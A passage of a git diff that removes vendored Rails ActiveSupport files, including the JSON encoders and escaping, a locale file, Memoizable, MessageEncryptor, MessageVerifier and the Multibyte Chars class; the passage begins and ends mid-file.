-  #   { :name => "Konata Izumi", 'age' => 16, 1 => 2 }.to_json(:except => 1)
-  #   # => {"name": "Konata Izumi", "age": 16}
-  #
-  # The +options+ also filter down to any hash values. This is particularly
-  # useful for converting hashes containing ActiveRecord objects or any object
-  # that responds to options in their <tt>to_json</tt> method. For example:
-  #
-  #   users = User.find(:all)
-  #   { :users => users, :count => users.size }.to_json(:include => :posts)
-  #
-  # would pass the <tt>:include => :posts</tt> option to <tt>users</tt>,
-  # allowing the posts association in the User model to be converted to JSON
-  # as well.
-  def to_json(options = nil) #:nodoc:
-    hash = as_json(options)
-
-    result = '{'
-    result << hash.map do |key, value|
-      "#{ActiveSupport::JSON.encode(key.to_s)}:#{ActiveSupport::JSON.encode(value, options)}"
-    end * ','
-    result << '}'
-  end
-
-  def as_json(options = nil) #:nodoc:
-    if options
-      if attrs = options[:except]
-        except(*Array.wrap(attrs))
-      elsif attrs = options[:only]
-        slice(*Array.wrap(attrs))
-      else
-        self
-      end
-    else
-      self
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/nil_class.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/nil_class.rb
deleted file mode 100644
index 041c1a26..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/nil_class.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class NilClass
-  AS_JSON = ActiveSupport::JSON::Variable.new('null').freeze
-
-  def as_json(options = nil) #:nodoc:
-    AS_JSON
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/numeric.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/numeric.rb
deleted file mode 100644
index 6493bd67..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/numeric.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-class Numeric
-  def to_json(options = nil) #:nodoc:
-    to_s
-  end
-
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-end
-
-class Float
-  def to_json(options = nil) #:nodoc:
-    to_s
-  end
-end
-
-class Integer
-  def to_json(options = nil) #:nodoc:
-    to_s
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/object.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/object.rb
deleted file mode 100644
index 09941005..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/object.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-class Object
-  # Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
-  def to_json(options = nil)
-    ActiveSupport::JSON.encode(as_json(options))
-  end
-
-  def as_json(options = nil)
-    instance_values
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/regexp.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/regexp.rb
deleted file mode 100644
index 14fdbf24..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/regexp.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class Regexp
-  def to_json(options = nil) #:nodoc:
-    inspect
-  end
-
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/string.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/string.rb
deleted file mode 100644
index 697658ec..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/string.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class String
-  def to_json(options = nil) #:nodoc:
-    ActiveSupport::JSON::Encoding.escape(self)
-  end
-
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/symbol.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/symbol.rb
deleted file mode 100644
index f7dcd491..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/symbol.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class Symbol
-  def as_json(options = nil) #:nodoc:
-    to_s
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/time.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/time.rb
deleted file mode 100644
index fa54e9e3..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/time.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-class Time
-  # Coerces the time to a string for JSON encoding.
-  #
-  # ISO 8601 format is used if ActiveSupport::JSON::Encoding.use_standard_json_time_format is set.
-  #
-  # ==== Examples
-  #
-  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
-  #   Time.utc(2005,2,1,15,15,10).to_json
-  #   # => "2005-02-01T15:15:10Z"
-  #
-  #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
-  #   Time.utc(2005,2,1,15,15,10).to_json
-  #   # => "2005/02/01 15:15:10 +0000"
-  def as_json(options = nil)
-    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
-      xmlschema
-    else
-      %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoders/true_class.rb b/vendor/rails/activesupport/lib/active_support/json/encoders/true_class.rb
deleted file mode 100644
index 4b65dee3..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoders/true_class.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class TrueClass
-  AS_JSON = ActiveSupport::JSON::Variable.new('true').freeze
-
-  def as_json(options = nil) #:nodoc:
-    AS_JSON
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/json/encoding.rb b/vendor/rails/activesupport/lib/active_support/json/encoding.rb
deleted file mode 100644
index 0fbf2fe1..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/encoding.rb
+++ /dev/null
@@ -1,111 +0,0 @@
-# encoding: utf-8
-require 'active_support/core_ext/module/delegation'
-require 'active_support/deprecation'
-
-module ActiveSupport
-  class << self
-    delegate :use_standard_json_time_format, :use_standard_json_time_format=,
-      :escape_html_entities_in_json, :escape_html_entities_in_json=,
-      :to => :'ActiveSupport::JSON::Encoding'
-  end
-
-  module JSON
-    # matches YAML-formatted dates
-    DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[ \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
-
-    class << self
-      delegate :encode, :to => :'ActiveSupport::JSON::Encoding'
-    end
-
-    module Encoding #:nodoc:
-      class CircularReferenceError < StandardError
-      end
-
-      ESCAPED_CHARS = {
-        "\x00" => '\u0000', "\x01" => '\u0001', "\x02" => '\u0002',
-        "\x03" => '\u0003', "\x04" => '\u0004', "\x05" => '\u0005',
-        "\x06" => '\u0006', "\x07" => '\u0007', "\x0B" => '\u000B',
-        "\x0E" => '\u000E', "\x0F" => '\u000F', "\x10" => '\u0010',
-        "\x11" => '\u0011', "\x12" => '\u0012', "\x13" => '\u0013',
-        "\x14" => '\u0014', "\x15" => '\u0015', "\x16" => '\u0016',
-        "\x17" => '\u0017', "\x18" => '\u0018', "\x19" => '\u0019',
-        "\x1A" => '\u001A', "\x1B" => '\u001B', "\x1C" => '\u001C',
-        "\x1D" => '\u001D', "\x1E" => '\u001E', "\x1F" => '\u001F',
-        "\010" =>  '\b',
-        "\f"   =>  '\f',
-        "\n"   =>  '\n',
-        "\r"   =>  '\r',
-        "\t"   =>  '\t',
-        '"'    =>  '\"',
-        '\\'   =>  '\\\\',
-        '>'    =>  '\u003E',
-        '<'    =>  '\u003C',
-        '&'    =>  '\u0026' }
-
-      class << self
-        # If true, use ISO 8601 format for dates and times. Otherwise, fall back to the Active Support legacy format.
-        attr_accessor :use_standard_json_time_format
-
-        attr_accessor :escape_regex
-        attr_reader :escape_html_entities_in_json
-
-        def escape_html_entities_in_json=(value)
-          self.escape_regex = \
-            if @escape_html_entities_in_json = value
-              /[\x00-\x1F"\\><&]/
-            else
-              /[\x00-\x1F"\\]/
-            end
-        end
-
-        def escape(string)
-          string = string.dup.force_encoding(::Encoding::BINARY) if string.respond_to?(:force_encoding)
-          json = string.
-            gsub(escape_regex) { |s| ESCAPED_CHARS[s] }.
-            gsub(/([\xC0-\xDF][\x80-\xBF]|
-                   [\xE0-\xEF][\x80-\xBF]{2}|
-                   [\xF0-\xF7][\x80-\xBF]{3})+/nx) { |s|
-            s.unpack("U*").pack("n*").unpack("H*")[0].gsub(/.{4}/n, '\\\\u\&')
-          }
-          %("#{json}")
-        end
-
-        # Converts a Ruby object into a JSON string.
-        def encode(value, options = nil)
-          options = {} unless Hash === options
-          seen = (options[:seen] ||= [])
-          raise CircularReferenceError, 'object references itself' if seen.include?(value)
-          seen << value
-          value.to_json(options)
-        ensure
-          seen.pop
-        end
-      end
-
-      self.escape_html_entities_in_json = true
-    end
-
-    CircularReferenceError = Deprecation::DeprecatedConstantProxy.new('ActiveSupport::JSON::CircularReferenceError', Encoding::CircularReferenceError)
-  end
-end
-
-# Hack to load json gem first so we can overwrite its to_json.
-begin
-  require 'json'
-rescue LoadError
-end
-
-require 'active_support/json/variable'
-require 'active_support/json/encoders/date'
-require 'active_support/json/encoders/date_time'
-require 'active_support/json/encoders/enumerable'
-require 'active_support/json/encoders/false_class'
-require 'active_support/json/encoders/hash'
-require 'active_support/json/encoders/nil_class'
-require 'active_support/json/encoders/numeric'
-require 'active_support/json/encoders/object'
-require 'active_support/json/encoders/regexp'
-require 'active_support/json/encoders/string'
-require 'active_support/json/encoders/symbol'
-require 'active_support/json/encoders/time'
-require 'active_support/json/encoders/true_class'
diff --git a/vendor/rails/activesupport/lib/active_support/json/variable.rb b/vendor/rails/activesupport/lib/active_support/json/variable.rb
deleted file mode 100644
index 7fd23b0a..00000000
--- a/vendor/rails/activesupport/lib/active_support/json/variable.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-module ActiveSupport
-  module JSON
-    # A string that returns itself as its JSON-encoded form.
-    class Variable < String
-      def to_json(options=nil)
-        self
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/locale/en.yml b/vendor/rails/activesupport/lib/active_support/locale/en.yml
deleted file mode 100644
index 49ad192b..00000000
--- a/vendor/rails/activesupport/lib/active_support/locale/en.yml
+++ /dev/null
@@ -1,36 +0,0 @@
-en:
-  date:
-    formats:
-      # Use the strftime parameters for formats.
-      # When no format has been given, it uses default.
-      # You can provide other formats here if you like!
-      default: "%Y-%m-%d"
-      short: "%b %d"
-      long: "%B %d, %Y"
-      
-    day_names: [Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday]
-    abbr_day_names: [Sun, Mon, Tue, Wed, Thu, Fri, Sat]
-      
-    # Don't forget the nil at the beginning; there's no such thing as a 0th month
-    month_names: [~, January, February, March, April, May, June, July, August, September, October, November, December]
-    abbr_month_names: [~, Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec]
-    # Used in date_select and datime_select.
-    order:
-      - :year
-      - :month
-      - :day
-
-  time:
-    formats:
-      default: "%a, %d %b %Y %H:%M:%S %z"
-      short: "%d %b %H:%M"
-      long: "%B %d, %Y %H:%M"
-    am: "am"
-    pm: "pm"
-      
-# Used in array.to_sentence.
-  support:
-    array:
-      words_connector: ", "
-      two_words_connector: " and "
-      last_word_connector: ", and "
diff --git a/vendor/rails/activesupport/lib/active_support/memoizable.rb b/vendor/rails/activesupport/lib/active_support/memoizable.rb
deleted file mode 100644
index 68148a27..00000000
--- a/vendor/rails/activesupport/lib/active_support/memoizable.rb
+++ /dev/null
@@ -1,102 +0,0 @@
-module ActiveSupport
-  module Memoizable
-    def self.memoized_ivar_for(symbol)
-      "@_memoized_#{symbol.to_s.sub(/\?\Z/, '_query').sub(/!\Z/, '_bang')}".to_sym
-    end
-
-    module InstanceMethods
-      def self.included(base)
-        base.class_eval do
-          unless base.method_defined?(:freeze_without_memoizable)
-            alias_method_chain :freeze, :memoizable
-          end
-        end
-      end
-
-      def freeze_with_memoizable
-        memoize_all unless frozen?
-        freeze_without_memoizable
-      end
-
-      def memoize_all
-        prime_cache ".*"
-      end
-
-      def unmemoize_all
-        flush_cache ".*"
-      end
-
-      def prime_cache(*syms)
-        syms.each do |sym|
-          methods.each do |m|
-            if m.to_s =~ /^_unmemoized_(#{sym})/
-              if method(m).arity == 0
-                __send__($1)
-              else
-                ivar = ActiveSupport::Memoizable.memoized_ivar_for($1)
-                instance_variable_set(ivar, {})
-              end
-            end
-          end
-        end
-      end
-
-      def flush_cache(*syms, &block)
-        syms.each do |sym|
-          (methods + private_methods + protected_methods).each do |m|
-            if m.to_s =~ /^_unmemoized_(#{sym})/
-              ivar = ActiveSupport::Memoizable.memoized_ivar_for($1)
-              instance_variable_get(ivar).clear if instance_variable_defined?(ivar)
-            end
-          end
-        end
-      end
-    end
-
-    def memoize(*symbols)
-      symbols.each do |symbol|
-        original_method = :"_unmemoized_#{symbol}"
-        memoized_ivar = ActiveSupport::Memoizable.memoized_ivar_for(symbol)
-
-        class_eval <<-EOS, __FILE__, __LINE__ + 1
-          include InstanceMethods                                                  # include InstanceMethods
-                                                                                   #
-          if method_defined?(:#{original_method})                                  # if method_defined?(:_unmemoized_mime_type)
-            raise "Already memoized #{symbol}"                                     #   raise "Already memoized mime_type"
-          end                                                                      # end
-          alias #{original_method} #{symbol}                                       # alias _unmemoized_mime_type mime_type
-                                                                                   #
-          if instance_method(:#{symbol}).arity == 0                                # if instance_method(:mime_type).arity == 0
-            def #{symbol}(reload = false)                                          #   def mime_type(reload = false)
-              if reload || !defined?(#{memoized_ivar}) || #{memoized_ivar}.empty?  #     if reload || !defined?(@_memoized_mime_type) || @_memoized_mime_type.empty?
-                #{memoized_ivar} = [#{original_method}.freeze]                     #       @_memoized_mime_type = [_unmemoized_mime_type.freeze]
-              end                                                                  #     end
-              #{memoized_ivar}[0]                                                  #     @_memoized_mime_type[0]
-            end                                                                    #   end
-          else                                                                     # else
-            def #{symbol}(*args)                                                   #   def mime_type(*args)
-              #{memoized_ivar} ||= {} unless frozen?                               #     @_memoized_mime_type ||= {} unless frozen?
-              reload = args.pop if args.last == true || args.last == :reload       #     reload = args.pop if args.last == true || args.last == :reload
-                                                                                   #
-              if defined?(#{memoized_ivar}) && #{memoized_ivar}                    #     if defined?(@_memoized_mime_type) && @_memoized_mime_type
-                if !reload && #{memoized_ivar}.has_key?(args)                      #       if !reload && @_memoized_mime_type.has_key?(args)
-                  #{memoized_ivar}[args]                                           #         @_memoized_mime_type[args]
-                elsif #{memoized_ivar}                                             #       elsif @_memoized_mime_type
-                  #{memoized_ivar}[args] = #{original_method}(*args).freeze        #         @_memoized_mime_type[args] = _unmemoized_mime_type(*args).freeze
-                end                                                                #       end
-              else                                                                 #     else
-                #{original_method}(*args)                                          #       _unmemoized_mime_type(*args)
-              end                                                                  #     end
-            end                                                                    #   end
-          end                                                                      # end
-                                                                                   #
-          if private_method_defined?(#{original_method.inspect})                   # if private_method_defined?(:_unmemoized_mime_type)
-            private #{symbol.inspect}                                              #   private :mime_type
-          elsif protected_method_defined?(#{original_method.inspect})              # elsif protected_method_defined?(:_unmemoized_mime_type)
-            protected #{symbol.inspect}                                            #   protected :mime_type
-          end                                                                      # end
-        EOS
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/message_encryptor.rb b/vendor/rails/activesupport/lib/active_support/message_encryptor.rb
deleted file mode 100644
index 347af9dc..00000000
--- a/vendor/rails/activesupport/lib/active_support/message_encryptor.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-require 'openssl'
-
-module ActiveSupport
-  # MessageEncryptor is a simple way to encrypt values which get stored somewhere 
-  # you don't trust.
-  # 
-  # The cipher text and initialization vector are base64 encoded and returned to you.
-  #
-  # This can be used in situations similar to the MessageVerifier, but where you don't
-  # want users to be able to determine the value of the payload.
-  class MessageEncryptor
-    class InvalidMessage < StandardError; end
-    OpenSSLCipherError = OpenSSL::Cipher.const_defined?(:CipherError) ? OpenSSL::Cipher::CipherError : OpenSSL::CipherError
-
-    def initialize(secret, cipher = 'aes-256-cbc')
-      @secret = secret
-      @cipher = cipher
-    end
-    
-    def encrypt(value)
-      cipher = new_cipher
-      # Rely on OpenSSL for the initialization vector
-      iv = cipher.random_iv
-      
-      cipher.encrypt 
-      cipher.key = @secret
-      cipher.iv  = iv
-      
-      encrypted_data = cipher.update(Marshal.dump(value)) 
-      encrypted_data << cipher.final
-
-      [encrypted_data, iv].map {|v| ActiveSupport::Base64.encode64s(v)}.join("--")
-    end
-    
-    def decrypt(encrypted_message)
-      cipher = new_cipher
-      encrypted_data, iv = encrypted_message.split("--").map {|v| ActiveSupport::Base64.decode64(v)}
-      
-      cipher.decrypt
-      cipher.key = @secret
-      cipher.iv  = iv
-
-      decrypted_data = cipher.update(encrypted_data)
-      decrypted_data << cipher.final
-      
-      Marshal.load(decrypted_data)
-    rescue OpenSSLCipherError, TypeError
-      raise InvalidMessage
-    end
-    
-    def encrypt_and_sign(value)
-      verifier.generate(encrypt(value))
-    end
-    
-    def decrypt_and_verify(value)
-      decrypt(verifier.verify(value))
-    end
-    
-    
-    
-    private 
-      def new_cipher
-        OpenSSL::Cipher::Cipher.new(@cipher)
-      end
-      
-      def verifier
-        MessageVerifier.new(@secret)
-      end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/message_verifier.rb b/vendor/rails/activesupport/lib/active_support/message_verifier.rb
deleted file mode 100644
index 60587b90..00000000
--- a/vendor/rails/activesupport/lib/active_support/message_verifier.rb
+++ /dev/null
@@ -1,79 +0,0 @@
-module ActiveSupport
-  # MessageVerifier makes it easy to generate and verify messages which are signed
-  # to prevent tampering.
-  # 
-  # This is useful for cases like remember-me tokens and auto-unsubscribe links where the
-  # session store isn't suitable or available.
-  #
-  # Remember Me:
-  #   cookies[:remember_me] = @verifier.generate([@user.id, 2.weeks.from_now])
-  # 
-  # In the authentication filter:
-  #
-  #   id, time = @verifier.verify(cookies[:remember_me])
-  #   if time < Time.now
-  #     self.current_user = User.find(id)
-  #   end
-  # 
-  class MessageVerifier
-    class InvalidSignature < StandardError; end
-    
-    def initialize(secret, digest = 'SHA1')
-      @secret = secret
-      @digest = digest
-    end
-    
-    def verify(signed_message)
-      raise InvalidSignature if signed_message.blank?
-
-      data, digest = signed_message.split("--")
-      if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
-        Marshal.load(ActiveSupport::Base64.decode64(data))
-      else
-        raise InvalidSignature
-      end
-    end
-    
-    def generate(value)
-      data = ActiveSupport::Base64.encode64s(Marshal.dump(value))
-      "#{data}--#{generate_digest(data)}"
-    end
-    
-    private
-      if "foo".respond_to?(:force_encoding)
-        # constant-time comparison algorithm to prevent timing attacks
-        def secure_compare(a, b)
-          a = a.dup.force_encoding(Encoding::BINARY)
-          b = b.dup.force_encoding(Encoding::BINARY)
-
-          if a.length == b.length
-            result = 0
-            for i in 0..(a.length - 1)
-              result |= a[i].ord ^ b[i].ord
-            end
-            result == 0
-          else
-            false
-          end
-        end
-      else
-        # For <= 1.8.6
-        def secure_compare(a, b)
-          if a.length == b.length
-            result = 0
-            for i in 0..(a.length - 1)
-              result |= a[i] ^ b[i]
-            end
-            result == 0
-          else
-            false
-          end
-        end
-      end
-
-      def generate_digest(data)
-        require 'openssl' unless defined?(OpenSSL)
-        OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(@digest), @secret, data)
-      end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/multibyte.rb b/vendor/rails/activesupport/lib/active_support/multibyte.rb
deleted file mode 100644
index b6354ee8..00000000
--- a/vendor/rails/activesupport/lib/active_support/multibyte.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# encoding: utf-8
-
-module ActiveSupport #:nodoc:
-  module Multibyte
-    # A list of all available normalization forms. See http://www.unicode.org/reports/tr15/tr15-29.html for more
-    # information about normalization.
-    NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
-
-    # The Unicode version that is supported by the implementation
-    UNICODE_VERSION = '5.1.0'
-
-    # The default normalization used for operations that require normalization. It can be set to any of the
-    # normalizations in NORMALIZATION_FORMS.
-    #
-    # Example:
-    #   ActiveSupport::Multibyte.default_normalization_form = :c
-    mattr_accessor :default_normalization_form
-    self.default_normalization_form = :kc
-
-    # The proxy class returned when calling mb_chars. You can use this accessor to configure your own proxy
-    # class so you can support other encodings. See the ActiveSupport::Multibyte::Chars implementation for
-    # an example how to do this.
-    #
-    # Example:
-    #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
-    def self.proxy_class=(klass)
-      @proxy_class = klass
-    end
-
-    # Returns the currect proxy class
-    def self.proxy_class
-      @proxy_class ||= ActiveSupport::Multibyte::Chars
-    end
-
-    # Regular expressions that describe valid byte sequences for a character
-    VALID_CHARACTER = {
-      # Borrowed from the Kconv library by Shinji KONO - (also as seen on the W3C site)
-      'UTF-8' => /\A(?:
-                  [\x00-\x7f]                                         |
-                  [\xc2-\xdf] [\x80-\xbf]                             |
-                  \xe0        [\xa0-\xbf] [\x80-\xbf]                 |
-                  [\xe1-\xef] [\x80-\xbf] [\x80-\xbf]                 |
-                  \xf0        [\x90-\xbf] [\x80-\xbf] [\x80-\xbf]     |
-                  [\xf1-\xf3] [\x80-\xbf] [\x80-\xbf] [\x80-\xbf]     |
-                  \xf4        [\x80-\x8f] [\x80-\xbf] [\x80-\xbf])\z /xn,
-      # Quick check for valid Shift-JIS characters, disregards the odd-even pairing
-      'Shift_JIS' => /\A(?:
-                  [\x00-\x7e \xa1-\xdf]                                     |
-                  [\x81-\x9f \xe0-\xef] [\x40-\x7e \x80-\x9e \x9f-\xfc])\z /xn
-    }
-  end
-end
-
-require 'active_support/multibyte/chars'
-require 'active_support/multibyte/exceptions'
-require 'active_support/multibyte/unicode_database'
-require 'active_support/multibyte/utils'
diff --git a/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb b/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb
deleted file mode 100644
index 32d97a66..00000000
--- a/vendor/rails/activesupport/lib/active_support/multibyte/chars.rb
+++ /dev/null
@@ -1,707 +0,0 @@
-# encoding: utf-8
-
-module ActiveSupport #:nodoc:
-  module Multibyte #:nodoc:
-    # Chars enables you to work transparently with UTF-8 encoding in the Ruby String class without having extensive
-    # knowledge about the encoding. A Chars object accepts a string upon initialization and proxies String methods in an
-    # encoding safe manner. All the normal String methods are also implemented on the proxy.
-    #
-    # String methods are proxied through the Chars object, and can be accessed through the +mb_chars+ method. Methods
-    # which would normally return a String object now return a Chars object so methods can be chained.
-    #
-    #   "The Perfect String  ".mb_chars.downcase.strip.normalize #=> "the perfect string"
-    #
-    # Chars objects are perfectly interchangeable with String objects as long as no explicit class checks are made.
-    # If certain methods do explicitly check the class, call +to_s+ before you pass chars objects to them.
-    #
-    #   bad.explicit_checking_method "T".mb_chars.downcase.to_s
-    #
-    # The default Chars implementation assumes that the encoding of the string is UTF-8, if you want to handle different
-    # encodings you can write your own multibyte string handler and configure it through 
-    # ActiveSupport::Multibyte.proxy_class.
-    #
-    #   class CharsForUTF32
-    #     def size
-    #       @wrapped_string.size / 4
-    #     end
-    #
-    #     def self.accepts?(string)
-    #       string.length % 4 == 0
-    #     end
-    #   end
-    #
-    #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
-    class Chars
-      # Hangul character boundaries and properties
-      HANGUL_SBASE = 0xAC00
-      HANGUL_LBASE = 0x1100
-      HANGUL_VBASE = 0x1161
-      HANGUL_TBASE = 0x11A7
-      HANGUL_LCOUNT = 19
-      HANGUL_VCOUNT = 21
-      HANGUL_TCOUNT = 28
-      HANGUL_NCOUNT = HANGUL_VCOUNT * HANGUL_TCOUNT
-      HANGUL_SCOUNT = 11172
-      HANGUL_SLAST = HANGUL_SBASE + HANGUL_SCOUNT
-      HANGUL_JAMO_FIRST = 0x1100
-      HANGUL_JAMO_LAST = 0x11FF
-
-      # All the unicode whitespace
-      UNICODE_WHITESPACE = [
-        (0x0009..0x000D).to_a, # White_Space # Cc   [5] <control-0009>..<control-000D>
-        0x0020,                # White_Space # Zs       SPACE
-        0x0085,                # White_Space # Cc       <control-0085>
-        0x00A0,                # White_Space # Zs       NO-BREAK SPACE
-        0x1680,                # White_Space # Zs       OGHAM SPACE MARK
-        0x180E,                # White_Space # Zs       MONGOLIAN VOWEL SEPARATOR
-        (0x2000..0x200A).to_a, # White_Space # Zs  [11] EN QUAD..HAIR SPACE
-        0x2028,                # White_Space # Zl       LINE SEPARATOR
-        0x2029,                # White_Space # Zp       PARAGRAPH SEPARATOR
-        0x202F,                # White_Space # Zs       NARROW NO-BREAK SPACE
-        0x205F,                # White_Space # Zs       MEDIUM MATHEMATICAL SPACE
-        0x3000,                # White_Space # Zs       IDEOGRAPHIC SPACE
-      ].flatten.freeze
-
-      # BOM (byte order mark) can also be seen as whitespace, it's a non-rendering character used to distinguish
-      # between little and big endian. This is not an issue in utf-8, so it must be ignored.
-      UNICODE_LEADERS_AND_TRAILERS = UNICODE_WHITESPACE + [65279] # ZERO-WIDTH NO-BREAK SPACE aka BOM
-
-      # Returns a regular expression pattern that matches the passed Unicode codepoints
-      def self.codepoints_to_pattern(array_of_codepoints) #:nodoc:
-        array_of_codepoints.collect{ |e| [e].pack 'U*' }.join('|')
-      end
-      UNICODE_TRAILERS_PAT = /(#{codepoints_to_pattern(UNICODE_LEADERS_AND_TRAILERS)})+\Z/
-      UNICODE_LEADERS_PAT = /\A(#{codepoints_to_pattern(UNICODE_LEADERS_AND_TRAILERS)})+/
-
-      UTF8_PAT = ActiveSupport::Multibyte::VALID_CHARACTER['UTF-8']
-
-      attr_reader :wrapped_string
-      alias to_s wrapped_string
-      alias to_str wrapped_string
-
-      if '1.9'.respond_to?(:force_encoding)
-        # Creates a new Chars instance by wrapping _string_.
-        def initialize(string)
-          @wrapped_string = string
-          @wrapped_string.force_encoding(Encoding::UTF_8) unless @wrapped_string.frozen?
-        end
-      else
-        def initialize(string) #:nodoc:
-          @wrapped_string = string
-        end
-      end
-
-      # Forward all undefined methods to the wrapped string.
-      def method_missing(method, *args, &block)
-        if method.to_s =~ /!$/
-          @wrapped_string.__send__(method, *args, &block)
-          self
-        else
-          result = @wrapped_string.__send__(method, *args, &block)
-          result.kind_of?(String) ? chars(result) : result
-        end
-      end
-
-      # Returns +true+ if _obj_ responds to the given method. Private methods are included in the search
-      # only if the optional second parameter evaluates to +true+.
-      def respond_to?(method, include_private=false)
-        super || @wrapped_string.respond_to?(method, include_private) || false
-      end
-
-      # Enable more predictable duck-typing on String-like classes. See Object#acts_like?.
-      def acts_like_string?
-        true
-      end
-
-      # Returns +true+ if the Chars class can and should act as a proxy for the string _string_. Returns
-      # +false+ otherwise.
-      def self.wants?(string)
-        $KCODE == 'UTF8' && consumes?(string)
-      end
-
-      # Returns +true+ when the proxy class can handle the string. Returns +false+ otherwise.
-      def self.consumes?(string)
-        # Unpack is a little bit faster than regular expressions.
-        string.unpack('U*')
-        true
-      rescue ArgumentError
-        false
-      end
-
-      include Comparable
-
-      # Returns <tt>-1</tt>, <tt>0</tt> or <tt>+1</tt> depending on whether the Chars object is to be sorted before,
-      # equal or after the object on the right side of the operation. It accepts any object that implements +to_s+.
-      # See <tt>String#<=></tt> for more details.
-      #
-      # Example:
-      #   'é'.mb_chars <=> 'ü'.mb_chars #=> -1
-      def <=>(other)
-        @wrapped_string <=> other.to_s
-      end
-
-      # Returns a new Chars object containing the _other_ object concatenated to the string.
-      #
-      # Example:
-      #   ('Café'.mb_chars + ' périferôl').to_s #=> "Café périferôl"
-      def +(other)
-        self << other
-      end
-
-      # Like <tt>String#=~</tt> only it returns the character offset (in codepoints) instead of the byte offset.
-      #
-      # Example:
-      #   'Café périferôl'.mb_chars =~ /ô/ #=> 12
-      def =~(other)
-        translate_offset(@wrapped_string =~ other)
-      end
-
-      # Works just like <tt>String#split</tt>, with the exception that the items in the resulting list are Chars
-      # instances instead of String. This makes chaining methods easier.
-      #
-      # Example:
-      #   'Café périferôl'.mb_chars.split(/é/).map { |part| part.upcase.to_s } #=> ["CAF", " P", "RIFERÔL"]
-      def split(*args)
-        @wrapped_string.split(*args).map { |i| i.mb_chars }
-      end
-
-      # Inserts the passed string at specified codepoint offsets.
-      #
-      # Example:
-      #   'Café'.mb_chars.insert(4, ' périferôl').to_s #=> "Café périferôl"
-      def insert(offset, fragment)
-        unpacked = self.class.u_unpack(@wrapped_string)
-        unless offset > unpacked.length
-          @wrapped_string.replace(
-            self.class.u_unpack(@wrapped_string).insert(offset, *self.class.u_unpack(fragment)).pack('U*')
-          )
-        else
-          raise IndexError, "index #{offset} out of string"
-        end
-        self
-      end
-
-      # Returns +true+ if contained string contains _other_. Returns +false+ otherwise.
-      #
-      # Example:
-      #   'Café'.mb_chars.include?('é') #=> true
-      def include?(other)
-        # We have to redefine this method because Enumerable defines it.
-        @wrapped_string.include?(other)
-      end
-
-      # Returns the position _needle_ in the string, counting in codepoints. Returns +nil+ if _needle_ isn't found.
-      #
-      # Example:
-      #   'Café périferôl'.mb_chars.index('ô') #=> 12
-      #   'Café périferôl'.mb_chars.index(/\w/u) #=> 0
-      def index(needle, offset=0)
-        wrapped_offset = self.first(offset).wrapped_string.length
-        index = @wrapped_string.index(needle, wrapped_offset)
-        index ? (self.class.u_unpack(@wrapped_string.slice(0...index)).size) : nil
-      end
-
-      # Returns the position _needle_ in the string, counting in
-      # codepoints, searching backward from _offset_ or the end of the
-      # string. Returns +nil+ if _needle_ isn't found.
-      #
-      # Example:
-      #   'Café périferôl'.mb_chars.rindex('é') #=> 6
-      #   'Café périferôl'.mb_chars.rindex(/\w/u) #=> 13
-      def rindex(needle, offset=nil)
-        offset ||= length
-        wrapped_offset = self.first(offset).wrapped_string.length
